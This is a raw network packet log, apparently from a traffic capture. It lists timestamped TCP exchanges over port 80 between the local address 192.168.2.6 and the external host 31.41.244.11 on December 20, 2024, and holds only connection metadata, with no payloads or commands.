Dec 20, 2024 21:13:14.651155949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.651195049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.651854038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.651933908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.652647018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.652736902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.652741909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.652786970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.653065920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.653160095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.653635979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.653826952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.653836966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.653879881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.654516935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.654588938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.655554056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.659346104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.802175045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.802195072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.802242041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.802278042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.802553892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.802614927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.802683115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.802747011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.803386927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.803452015 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.803468943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.804126024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.804308891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.804377079 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.804408073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.804455042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.805181980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.805239916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.805331945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.805380106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.806056976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.806139946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.806375980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.806489944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.806922913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.807030916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.807041883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.807172060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.807842016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.807952881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.807954073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.808007956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.808695078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.808747053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.808880091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.808973074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.809659958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.809719086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.809782028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.809822083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.810409069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.810458899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.810486078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.810640097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.811357975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.811465979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.811729908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.812166929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.812294960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.812392950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.812436104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.813028097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.813172102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.813189030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.813210964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.813910007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.813972950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.814038038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.814300060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.814790010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.814956903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.815002918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.815587997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.815632105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.815716982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.815752029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.816524982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.816576004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.816679001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.816759109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.817519903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.817641973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.817810059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.817991018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.818238020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.818288088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.818465948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.818627119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.819124937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.819355011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.819449902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.819933891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.820164919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.820219994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.820410013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.820825100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.820890903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.820923090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.820967913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.821693897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.821820974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.821917057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.822035074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.822525978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.822630882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.822674990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.823416948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.823498011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.823543072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.823606014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.824553967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.824623108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.824664116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.824664116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.825552940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.825599909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.825638056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.825686932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.827712059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.827739954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.827754974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.827770948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.827797890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.828042030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.828458071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.828507900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.828586102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.828639984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.829274893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.829292059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.829334021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.829334021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.830365896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.830455065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.830495119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.830495119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.831253052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.831413984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.831429958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.831471920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.831490993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.831660986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.832640886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.832715034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.832776070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.832822084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.833215952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.833355904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.833374977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.833422899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.834788084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.834908009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.835016966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.836407900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.836437941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.836473942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.836497068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.836637974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.836654902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.836698055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.836698055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.837137938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.837204933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.837255001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.837687016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.837733030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.837901115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.837958097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.838839054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.838856936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.838917971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.838917971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.839232922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.839284897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.839296103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.839343071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.841553926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.841571093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.841609001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.841631889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.842144966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.842185020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.842200994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.842236042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.842277050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.842602015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.842628002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.842643023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.842669010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.842696905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.843485117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.843549013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.843619108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.843693018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.844389915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.844433069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.844502926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.845186949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.845223904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.845268965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.845359087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.845447063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.846115112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.846247911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.846338987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.846406937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.846968889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.847091913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.847230911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.847776890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.847830057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.994107008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.994247913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.994338036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.994544983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.994664907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.994676113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.994721889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.994734049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.994786978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.996681929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.996706009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.996723890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.996741056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.996778011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.996778011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.997217894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.997283936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.997283936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.997358084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.998151064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.998308897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.998343945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.998389006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.999042988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.999104977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.999262094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.999336958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.999983072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.000068903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.000108004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.000108004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.000809908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.000907898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.000967026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.001780987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.001874924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.001945019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.002123117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.002773046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.002863884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.002897978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.002897978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.003444910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.003530979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.003601074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.004220009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.004281044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.004344940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.004412889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.005089998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.005143881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.005235910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.005275965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.006005049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.006081104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.006150007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.006196022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.006787062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.006872892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.006942987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.007675886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.007786036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.007841110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.008564949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.008673906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.008721113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.009447098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.009558916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.009627104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.010267019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.010634899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.010744095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.011147022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.011255980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.011435986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.011559963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.012099981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.012164116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.012254953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.012348890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.013036966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.013106108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.013134003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.013169050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.013974905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.014059067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.014060974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.014111996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.014833927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.014925957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.014928102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.015120983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.015660048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.015724897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.015799999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.015868902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.016572952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.016659021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.017008066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.017045975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.017508984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.017574072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.017600060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.017676115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.018131971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.018182993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.018230915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.018301010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.019001961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.019089937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.019171000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.019269943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.019839048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.019913912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.019977093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.020126104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.020700932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.020811081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.020834923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.020986080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.021595001 CET	80	49849	31.41.244.11	192.168.2.6
